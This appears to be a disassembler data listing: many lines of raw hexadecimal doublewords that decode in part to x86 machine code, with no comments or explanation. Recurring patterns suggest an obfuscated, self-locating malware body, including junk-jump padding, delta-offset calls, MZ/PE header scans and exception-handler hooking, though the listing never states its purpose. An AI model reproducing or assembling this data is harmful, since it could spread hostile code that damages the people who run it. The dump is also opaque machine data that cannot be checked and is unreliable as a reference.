		dd 7185315Ah, 8B06A90Dh, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 75947854h, 5CA2C87Bh
		dd 0F1BD0BC9h, 8B06A934h, 1DBD83CAh, 6A913h, 0BD830975h
		dd 6A91431h, 50137400h,	0B8C08B53h, 4D0h, 0B2979D8Dh, 0D3FF06ABh
		dd 0BD83585Bh, 6A91431h, 50117400h, 4D0B853h, 9D8D0000h
		dd 6ABB196h, 585BD3FFh,	15098D8Bh, 0BF0F06A9h, 6AC08BD2h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 5749C351h, 14D7ED82h, 1D5EB118h, 52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 93B75D83h, 0F7F81B48h, 0AB55CA81h, 85895003h, 6A90D19h
		dd 6A0008C2h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 6613C355h, 7680CB6Ch, 958BEB85h
		dd 6A93595h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 27EC3h, 0D980B8F4h, 8B858D19h, 0F06AD1Ch
		dd 8589F8B7h, 6A91745h,	0E0000BAh, 0EA81F0h, 83F00000h
		dd 958914C2h, 6A91721h,	8D14EA83h, 0AD2CD185h, 0FF645006h
		dd 35h,	25896400h, 0
		dd 0E8h, 0C22B5800h, 0FFF00025h, 388166FFh, 850F5A4Dh
		dd 12h,	3C50B70Fh, 3A81D003h, 4550h, 0A840Fh, 2D0000h
		dd 0E9000010h, 0FFFFFFD9h, 8589C88Bh, 6A934C9h,	0F3C4003h
		dd 890650B7h, 0A902C195h, 50508B06h, 82D9589h, 0F80506A9h
		dd 8B000000h, 0D1030C50h, 7E99589h, 500306A9h, 25958908h
		dd 6406A934h, 58Fh, 0C4830000h,	13E904h, 8B510000h, 8110244Ch
		dd 0B0A9h, 100000h, 0C0335900h,	0E9BD83C3h, 6A927h, 24840Fh
		dd 85C60000h, 6A916B1h,	0A7D26847h, 0B5FFD49Ah,	6A910B5h
		dd 73FC858Dh, 0D0FF06ACh, 0D0FF006Ah, 17DD8589h, 0D38B06A9h
		dd 9E8h, 8E5A4900h, 0E302B385h,	665F2884h, 0C781F18Bh
		dd 7498h, 0E87396B9h, 1CEF6827h, 0E1810000h, 56C1EB20h
		dd 0E4C9805Bh, 6660078Bh, 1A36CA81h, 93C68150h,	5A6335D9h
		dd 42C08161h, 0E94E2DC4h, 0Dh, 2418313Dh, 0AEB67220h, 0F2C95D75h
		dd 8EE88154h, 0E93A8B31h, 0Dh, 74A7A215h, 577068B6h, 0ACDDFF73h
		dd 0BDF08113h, 0F6EC19Eh, 38Ch,	0CF8B6600h, 0CE90789h
		dd 26000000h, 3506001h,	48E3A63Bh, 83F81CCBh, 0D68001EFh
		dd 4F4F4F9Dh, 3C01B966h, 1EB81h, 850F0000h, 1Dh, 0CE9h
		dd 0C37C3700h, 0DE08314Dh, 34493664h, 27E989h, 0E66D0000h
		dd 0F2256A44h, 0B8F0FB8h, 0F000000h, 58Fh, 0F2816600h
		dd 51E941D5h, 1CFFFFFFh, 0EFC5332h, 0D20C6C21h,	6A6025h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 381FC2C3h, 0BE66465Eh, 0C08B55C0h, 83C9B70Fh, 0A9131DBDh
		dd 9750006h, 1431BD83h,	740006A9h, 8B535019h, 438B8C0h
		dd 85890000h, 6A92445h,	0B45C9D8Dh, 0D3FF06ABh,	0BD83585Bh
		dd 6A91431h, 50177400h,	438B853h, 85890000h, 6A92445h
		dd 0B14B9D8Dh, 0D3FF06ABh, 6A585Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 2CD996C3h
		dd 4BFD51FCh, 297A2562h, 0A934A99Dh, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0B5EA6750h
		dd 6800F5Ah, 89000000h,	0A90EE19Dh, 0FC08B06h, 68Ch, 899D8900h
		dd 0E806A92Eh, 79Fh, 8D89CB8Bh,	6A90B59h, 458589h, 0BD8B06A9h
		dd 6A914D5h, 786E8h, 0B1952900h, 8906A933h, 0A912C985h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 59251B33h, 0E8BC5AE7h, 753h, 0E378BE66h
		dd 28258589h, 6A06A9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 8FCD9EC3h, 0B58BA340h, 6A917CDh
		dd 71EE8h, 8E800h, 9B9B0000h, 9E4E8A33h, 8952733Bh, 0A90939BDh
		dd 89595F06h, 0A911C185h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 6E1E878h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 893507C3h, 0A90DB1BDh, 7D858906h, 6A06A926h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0E62C351h, 0C0128FAFh, 90E8F91Eh, 6A000006h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 6ED2C351h, 71285E82h, 8B6001E5h, 0A91F218Dh,	8961F806h
		dd 0A9336585h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 50905FC2h, 0F85FD13h
		dd 0BD89F3BFh, 6A933CDh, 62EE8h, 7E800h, 6D190000h, 0B5E6FCEBh
		dd 5EDDB58Eh, 17D18589h, 6A06A9h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0E98711C3h, 0E86FCBE9h
		dd 5F3h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0D6C35343h, 0DABCB8BBh,	8B9C3FB2h, 0F98589CEh
		dd 6A06A927h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0B9DCC355h, 0D8FBDFF5h, 5A1E808h
		dd 850F0000h, 6, 870Fh,	9560000h, 0A91DADBDh, 85895E06h
		dd 6A93171h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0CAC35242h, 80F4A8D9h, 52D86039h, 79AC44BFh, 58E85E56h
		dd 3000005h, 0A920B18Dh, 5E906h, 26EF0000h, 89E74FB9h
		dd 0A90A3D85h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0BF274AA3h, 0F18B0CC9h
		dd 9DBD8Bh, 14E806A9h, 60000005h, 9531F48Ah, 6A93469h
		dd 9858961h, 8B06A90Eh,	0A90C09B5h, 89BD8906h, 0E806A910h
		dd 4F3h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	7FC35747h, 137621Dh, 8589AB07h,	6A90F25h, 48B0Fh
		dd 0B9660000h, 0BCE8FC17h, 6A000004h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 77D2C350h
		dd 78195D6h, 52C7532Bh,	6830Fh,	0B50B0000h, 6A90099h, 85858959h
		dd 6A06A92Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0E97BC357h, 11h, 0B93E826h, 0FDEF9D43h
		dd 949252C9h, 754A9927h, 44DE8D1h, 0BD0B0000h, 6A929D5h
		dd 6598589h, 6A06A9h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0B8CDF1C3h, 0F18B6656h, 419E85Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 52064AC3h, 89F08B66h, 0A9240985h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 9E3B5BEAh, 0D4BD8B9Eh, 3CAE8h, 71B58900h, 6606A926h
		dd 8589F88Bh, 6A90DA9h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0F4C35242h, 41DAC5B4h, 0B077F5h, 3511BD89h
		dd 0B60F06A9h, 57006AD8h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 59694915h, 37C14D53h
		dd 0E951ED96h, 5, 8EF69DE8h, 6BA5929h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 528BC352h, 82DE7EACh, 10859529h, 0C38B06A9h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0C9C35141h, 0FE0D81DBh
		dd 13E9B531h, 0E8C106A9h, 57006A04h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 102EF86Ch
		dd 0BF467806h, 0CEB1A41Eh, 89E2F766h, 0A9213185h, 8BD82B06h
		dd 0A90215BDh, 52505006h, 0F8C0Fh, 0AE90000h, 8E000000h
		dd 11551EFEh, 8669AC13h, 66310FE5h, 585AFE8Bh, 66241C89h
		dd 95FFF98Bh, 6A913CDh,	10E9h, 1CD42800h, 58FB5F93h, 55E61C59h
		dd 2A09EFE9h, 8D8B5B51h, 6A914B5h, 1A6D958Dh, 8D8B06A9h
		dd 6A9201Dh, 2CF99529h,	1A8906A9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0CC35040h, 7453DB4h, 4289512Fh
		dd 8DBD8904h, 8D06A91Dh, 0A9127995h, 49958906h,	8906A917h
		dd 0DD8D8B1Ah, 906A905h, 0A92965B5h, 4428906h, 337DB589h
		dd 958D06A9h
		dd 6A93491h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0B1C35141h, 895680EBh, 3138278Dh, 0A90215B5h, 41EF8106h
		dd 665C0662h, 8951CF81h, 0BD2B1A89h, 6A90389h, 6A044289h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0C91FC356h, 958D6FB1h, 6A90D51h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0A6C35747h, 0FFD74EB5h
		dd 5000BE51h, 891A8963h, 0A931B1BDh, 4428906h, 6799589h
		dd 958D06A9h, 6A934FDh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 67C35040h, 0F8F7DDC0h, 1D5C8DB9h, 9DBF660Dh
		dd 6A1A89B1h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0F847C351h, 0C174B843h, 0FA300698h
		dd 6A044289h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 228FC352h, 14ADA95Ah, 176EA19Eh
		dd 0D3D0BE52h, 8D593EFAh, 0A90EF995h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 89FD58CFh, 25BD2B1Ah, 8906A91Ah, 6A0442h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0E897C0C3h
		dd 0FDBD0B2Ah, 8106A903h, 0FD8ED0E7h, 3D958D26h, 6A06A910h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0BCBC357h, 21298D2Bh, 816606A9h, 0B1E85D1h
		dd 0A91749BDh, 6A1A8906h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0F93C351h, 4289F6BFh
		dd 498D8B04h, 8D06A900h, 0A92CD995h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0EB7AA82Fh
		dd 0B48B8753h, 0DDBF66A2h, 9D9589A7h, 8906A902h, 0A24CBF1Ah
		dd 4289757Dh, 0E9F38B04h, 0C7h,	6A19F180h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 0FE2C7336h, 0E3155B2Ch, 0BD295601h, 6A9013Dh, 0DBD895Fh
		dd 6A06A91Eh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0F67467BAh, 0B4318117h, 0F68160C0h
		dd 4A26ACAEh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 25A3C0C3h, 6E9796D1h, 0CF8B666Dh
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 813DD8C3h, 0FF06E11Fh, 316DB589h,	95FF06A9h
		dd 6A92C91h, 31F18166h,	8166C3A5h, 8ABFDCF1h, 51006AC5h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 21F2A4C9h, 0AAB92CA8h, 8B394A83h, 51006AC0h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 9055079Bh
		dd 8603ED36h, 0C981FF6Fh, 493D39C9h, 131DBD83h,	750006A9h
		dd 31BD8309h, 6A914h, 53501974h, 38B8C08Bh, 89000004h
		dd 0A9020985h, 0C39D8D06h, 0FF06ABB4h, 83585BD3h, 0A91431BDh
		dd 17740006h, 38B85350h, 89000004h, 0A9020985h,	649D8D06h
		dd 0FF06ABB1h, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0E9A4C356h,	6, 537F2047h
		dd 0B58BD3DBh, 6A90DA5h, 858DC08Bh, 6A90535h, 17860Fh
		dd 12E90000h, 91000000h, 4C3F6295h, 9D03F25Eh, 8DF5B72Fh
		dd 77CE945Bh, 0CCBB90E2h, 507C59B8h, 8990DF8Bh,	0A91025B5h
		dd 6A006A06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 32A6C352h, 516ED365h, 0A18D89FFh
		dd 8906A934h, 0A935458Dh, 89006A06h, 0A906318Dh, 0DD858D06h
		dd 0E906AD39h, 11h, 2C44D062h, 77507439h, 0BDDFE7C4h, 625BD3C0h
		dd 5C08355h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	9BC35141h, 0DB726FE3h, 60BE9C90h, 8BCFB70Fh, 0A935E1B5h
		dd 89506106h, 0CF812404h, 3A253D20h, 6AF5006Ah,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 19AC6320h, 87FDF5A7h, 0BD8B6285h, 6A90025h, 2EA995FFh
		dd 0DF8B06A9h, 98DE8D8Dh, 0BD8906ACh, 6A91D71h,	0BD83D1FFh
		dd 6A912ADh, 0BB850F01h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 3B7CC356h
		dd 4965D0C9h, 0DA1FD499h, 89FBB70Fh, 0A929A595h, 6A026A06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0CCAC357h, 8B044ED0h, 0A92C7D9Dh,	52505006h
		dd 0BE8h, 0CB338A00h, 5B35CFD9h, 0A8556FBCh, 8D0Fh, 0F5B0000h
		dd 89585A31h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 3F2308C3h, 0E9515CC7h, 0Ch, 608DB812h
		dd 86B8D52Ch, 54FFB486h, 6995FF5Fh, 0F06A906h, 8Ch, 5DC5BF00h
		dd 7EE92F34h, 0E800000Eh, 0
		dd 0E7ED815Dh, 6A06AD39h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 6EE1C351h, 28F0D157h
		dd 9D8B4083h, 6A90919h,	8A5B858Dh, 6A06ACh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0A1D57C3h
		dd 9D78C379h, 0E890D186h, 7, 99169F1h, 8B9ADA14h, 0E8505BF8h
		dd 14h,	0EB6E8D06h, 0F1635387h,	456AE418h, 0D1503E8Eh
		dd 7631F31Bh, 0D64204BFh, 6A905B09h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0CA5C355h
		dd 8F12ECB5h, 699D8B5Fh, 6406A928h, 35FFh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0D68D7EC3h, 777D2FC3h, 0F2EADCBh, 884h, 95236000h, 6A915CDh
		dd 8964F561h, 25h, 0D59D2B00h, 0FF06A925h, 0A9170D85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0F927B4CEh, 0A9FD0FB7h, 0FF6AFC8Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 8AC35242h, 0FF296AA0h
		dd 0A90045B5h, 219D8B06h, 0F06A934h, 95FFD8B7h,	6A934DDh
		dd 11FE9h, 0BD9D8B00h, 0B006A935h, 8D852900h, 0E606A912h
		dd 9D8B6070h, 6A92365h,	75BD8B61h, 0E406A90Ah, 3CF98A71h
		dd 0F5830F61h, 0E9000000h, 13h,	5BF1E435h, 0AA0EA38h, 380EF58Eh
		dd 0A91EAAA7h, 0F6F6E89h, 6BAC8B6h, 8B000000h, 0A92999BDh
		dd 81C18B06h, 752893DFh, 85896071h, 6A90A1Dh, 4E8C161h
		dd 0C25B589h, 0F76606A9h, 19BD8BE2h, 2B06A934h,	0FA8B66C8h
		dd 8A0FD18Bh, 0
		dd 0CE9h, 6860F00h, 8B000000h, 0A92989BDh, 6D858B06h, 306A91Ah
		dd 0A91715BDh, 7C08306h, 0B39BB66h, 3B00C083h, 25830FD0h
		dd 0F8000000h, 6BE9h, 11E800h, 904F0000h, 0F69FC960h, 0B39CF318h
		dd 0C082F08Bh, 50341FAEh, 0BD9D8Bh, 5F5B06A9h, 0F958D8Bh
		dd 0B70F06A9h, 0A5BD29D8h, 8306A90Dh, 840F01E1h, 34h, 8D316051h
		dd 6A92321h, 0BD895F61h, 6A903ADh, 0F95A583h, 0E9FE06A9h
		dd 9, 1BCDD2C4h, 0E1A0E7CFh, 6D9589C1h,	6606A91Ah, 0E95482BFh
		dd 0
		dd 0C3CBB58Dh, 6A06ACh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 2FAA6EC3h, 0BCF3387Ah, 0BF660547h
		dd 6AC6EAh, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 14h,	7FC35242h, 0FFF9BF0Fh, 0A92D9595h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 0B9F8F9CBh, 729h, 1D0DBD89h,	0E18306A9h, 8B7BB3FCh
		dd 0A92A859Dh, 6AFC06h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0F0476C3h, 86h, 0B85B5600h, 0
		dd 2A718D89h, 0BA06A9h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0CDBFC355h
		dd 6E4CEF26h, 0BD8B8114h, 6A911F9h, 0D1C233ADh,	83D003E8h
		dd 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	25C35545h, 0C97144C3h, 3280A7FEh, 619D23CFh, 6A06A934h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0D99BC356h, 880Dh, 8BFB8B00h, 0A916CD95h
		dd 0E9BD8B06h, 8B06A934h, 0A90CE58Dh, 0CF816606h, 8B501FE9h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0DFC35040h, 1BDCC28Fh
		dd 0BCE3811Ch, 832E0BBEh, 0A933C9BDh, 840F0006h, 76h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0EC35141h, 85C3F4D9h
		dd 2949BD8Bh, 0B806A9h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 30AFC351h
		dd 8D8DF88Bh, 6A94DC0h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 2FC35747h, 0A4F3817Bh, 0FF50BAF5h, 0BD83F5E1h
		dd 6A911CDh, 96840F00h,	81000004h, 0F5186FEBh, 0CDBD8360h
		dd 106A911h, 49E840Fh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 705567C3h, 39F28C3Ah
		dd 83A8EF82h, 0A911CDBDh, 860F0306h, 436h, 2F23BB66h, 0EE960h
		dd 37B50000h, 73ADCEAAh, 297592CDh, 9C036305h, 66AFDF80h
		dd 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 8D51ECC3h, 2949BD0Bh, 9D0306A9h, 6A90379h
		dd 6A04E180h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 79A2C357h, 0DB817A6Bh,	2F3A4282h
		dd 5DBD8B53h, 5F06A92Eh, 48E0Fh, 0BB660000h, 0C90A0674h
		dd 127840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 6A9D34C3h, 0AD958904h, 8B06A91Dh
		dd 0A91F659Dh, 19858B06h, 6A06A906h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0A7F6C355h
		dd 8DE3BF08h, 85336AA1h, 6A931F9h, 0BE9h, 0E141CE00h, 67C67310h
		dd 1BEA1530h, 0D98B5290h, 0BB66505Bh, 0F906BE1h, 885h
		dd 8B0F5100h, 0
		dd 6A006A5Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0F48AC352h, 9699D8Bh, 0F98B06A9h
		dd 0C32EF268h, 2434816Dh, 6DDC2D0Dh, 26799D89h,	95FF06A9h
		dd 6A93579h, 344D9589h,	858906A9h, 6ACADF2h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 17C35747h, 10DDBD33h
		dd 0FA8B06A9h, 203E9h, 56006A00h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 73A08913h, 0D68B99D6h
		dd 0F1B58941h, 8B06A934h, 0A91E0DBDh, 0EA858B06h, 6A06ACADh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 775EC352h, 0C7E2F2h, 18h,	1E759D89h, 0B58B06A9h
		dd 6ACADEEh, 32BD858Bh,	9D8B06A9h, 6A92679h, 6A0689h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 55D9A1C3h, 77C908F2h, 8B37E577h, 0A9061985h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0E854DE78h, 1A3404C1h, 798D09F4h, 8906A926h,	8D090446h
		dd 6A92D51h, 12E850h, 2CAA0000h, 44DB8667h, 9A38EBC9h
		dd 4A072A2Fh, 5CCD6D93h, 8B0Fh,	895F0000h, 6A2434h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0A8FB0FC3h, 0FFF57536h, 0ACADEAB5h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 4E82F91h, 0FF000000h, 60001F03h, 0D98CB966h,	0BF665061h
		dd 448B0173h, 0BF660424h, 8B1AC0h, 0EE9h, 0E4EE1E00h, 3A5C45F0h
		dd 0F1994CD0h, 89BC4AF6h, 50042444h, 0BB665052h, 0F5F814Dh
		dd 8A0F5231h, 0
aZxxj		db '[ZXXj',0
		dw 0E850h
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 82C35040h, 747AC333h
		dd 639A741Bh, 4185096Eh, 8D06A904h, 0ACADF285h,	0DB816606h
		dd 66907BCBh, 50D43EBBh, 6A90F98Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 6F66C357h
		dd 1C3DB5DFh, 0F93225AAh, 0C5D7BB66h, 17119D2Bh, 95FF06A9h
		dd 6A93579h, 6850Fh, 8D090000h,	6A913B9h, 14E961h, 0F6E10000h
		dd 0CAA718FAh, 548796C1h, 9D84F6E3h, 6D96B73Ah,	85C7E8B2h
		dd 6A911CDh, 3,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	22C35040h, 7D8D8976h, 0E906A917h, 9, 4AA276A7h
		dd 0EFB22AA0h, 0F2BD8358h, 6ACADh, 50840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0BBE307C3h, 12FB4977h, 3D858994h, 0E906A90Dh, 3Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0DCC35646h, 7C1B509h
		dd 305006A9h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 80F381C0h, 0E912633Fh, 12h, 422E3A5Ah, 6EAEE137h
		dd 0D6524546h, 7C91323Ah, 8B662F95h, 0D5BD8BDAh, 8306A90Fh
		dd 0A911CDBDh, 850F0306h, 473h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 57C35242h, 69634BBCh, 25BD31E3h
		dd 8306A90Eh, 0ACADF2BDh, 840F0006h, 43Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 7AC35141h, 0A725E15Ch
		dd 0E93AD3B1h, 5, 628975F2h, 15BD236Bh,	0FF06A927h, 0ACADF2B5h
		dd 10E806h, 1D4E0000h, 0EE3279BBh, 21C810D0h, 95CFB9A6h
		dd 0FA8B05B0h, 5195FF5Bh, 6A06A90Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 7214C356h
		dd 77E76C02h, 5895EF81h, 0B58B1964h, 6ACADE6h, 2820Fh
		dd 6EB70000h, 106C7h, 6A0001h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 650B1DC3h, 38B0Fh, 8B660000h
		dd 0BE850D9h, 2D000000h, 0CAA5F809h, 6144B347h,	0BB66BEB3h
		dd 895BD47Eh, 0B5FF2434h, 6ACADF2h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 7DC35747h, 95FFDA5Ah, 6A90EC5h
		dd 0ADE6B58Bh, 12E906ACh, 12000000h, 69DB7146h,	0CCDC2D2Bh
		dd 23B35497h, 4349AFF8h, 0BD858BDBh, 6A06A913h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 36C8C355h, 71C47955h, 42C22D49h, 0C48689h, 958B0000h
		dd 6A916CDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	17C35343h, 0BB6052F7h, 20453C52h, 0EE9h, 4F7B6200h
		dd 10C54A09h, 51FEEB17h, 83FAA8AFh, 6A04C2h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 13A52C3h
		dd 0A9036585h, 20508906h, 285D8D89h, 858D06A9h,	6ACC1C3h
		dd 8689F88Bh, 0B8h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 1CC35747h, 0DF5CD8DFh, 89609218h, 0A92E7DB5h
		dd 0F99D8B06h, 6106A932h, 9D8B006Ah, 6A90CB5h, 0ADF2B5FFh
		dd 6A06ACh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 2BF461C3h, 0BCF800Eh, 14A5BD8Bh, 14E806A9h
		dd 33000000h, 9F4EF5Eh,	0D245C6F1h, 18DC3984h, 25B494E9h
		dd 8BF844DCh, 0A915E9BDh, 95FF5B06h, 6A90669h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FC35141h, 3DFC382Dh
		dd 96ED015Dh, 665081B7h, 9633B3BFh, 32B18531h, 850F06A9h
		dd 6, 1D418D89h, 0B5FF06A9h, 6ACADF2h, 5E4824BBh, 90BF667Dh
		dd 8995FF5Eh, 6A06A90Ch, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0EF26C355h,	81146E4Ch
		dd 0EF818290h, 4803D51Ah, 3319BD83h, 0F0006A9h,	5A84h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 5B43C9CCh, 81DF36B2h, 724EDFDFh,	0F381501Ah
		dd 2B94BDF3h, 0E950965Bh, 5, 951F952Ch,	9D239600h, 6A90931h
		dd 12E9h, 26A59C00h, 8F31CA77h,	0F29C2484h, 0E34FF5A9h
